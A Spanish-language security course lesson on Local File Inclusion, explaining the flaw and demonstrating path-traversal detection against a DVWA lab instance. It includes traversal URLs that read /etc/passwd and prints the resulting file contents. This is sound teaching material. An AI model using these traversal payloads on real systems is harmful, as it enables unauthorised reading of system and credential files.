Alcapdemy:
Curso de Local file inclusion (LFI)

1.Local File Inclusion (LFI)

Local File Inclusion (LFI) es una vulnerabilidad web que permite a un atacante incluir archivos en el servidor local en la respuesta HTTP generada por la aplicación. Esta vulnerabilidad puede ser explotada para leer archivos sensibles, ejecutar código y realizar otros ataques maliciosos.

2.Detectar un LFI

Navega por la aplicación web: toma nota de la URL y los parámetros utilizados. Los parámetros comunes que pueden ser vulnerables incluyen page, file, template, etc.
Ejemplo de URL con parámetro:
`http://example.com/index.php?page=home.php`
Prueba de Path Traversal:
Intenta acceder a archivos internos del servidor utilizando una técnica conocida como path traversal, que consiste en retroceder directorios.
Ejemplo de prueba:
`http://example.com/index.php?page=../../../../etc/passwd`
En este caso, estamos intentando retroceder múltiples directorios para acceder al archivo /etc/passwd.
NOTA: No es necesario retroceder un número exacto de directorios. Una vez que hayas retrocedido más allá del directorio raíz, cualquier ../ adicional será ignorado por el sistema operativo.
Validación de la Respuesta:
Observa la respuesta del servidor. Si la página responde mostrando el contenido del archivo solicitado (por ejemplo, el contenido de /etc/passwd), entonces la aplicación es vulnerable a LFI.

3.Detectar un LFI (ejemplo)

Navegando por la página web llegamos a una sección que tiene una url que parece vulnerable a LFI.

```
/dvwa/vulnerabilities/fi/?page=include.php
```

Probamos a hacer un path traversal para comprobar si es vulnerable o no.

```
/dvwa/vulnerabilities/fi/?page=../../../../../../../../../../../../../../etc/passwd
```

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false snmp:x:115:65534::/var/lib/snmp:/bin/false

La página ha respondido mostrando el contenido del archivo que hemos solicitado, por lo que la web es vulnerable a LFI.

4.Conclusión

La vulnerabilidad de Local File Inclusion (LFI) es peligrosa porque permite a los atacantes leer archivos internos del servidor, exponiendo información sensible y comprometiendo la seguridad del sistema.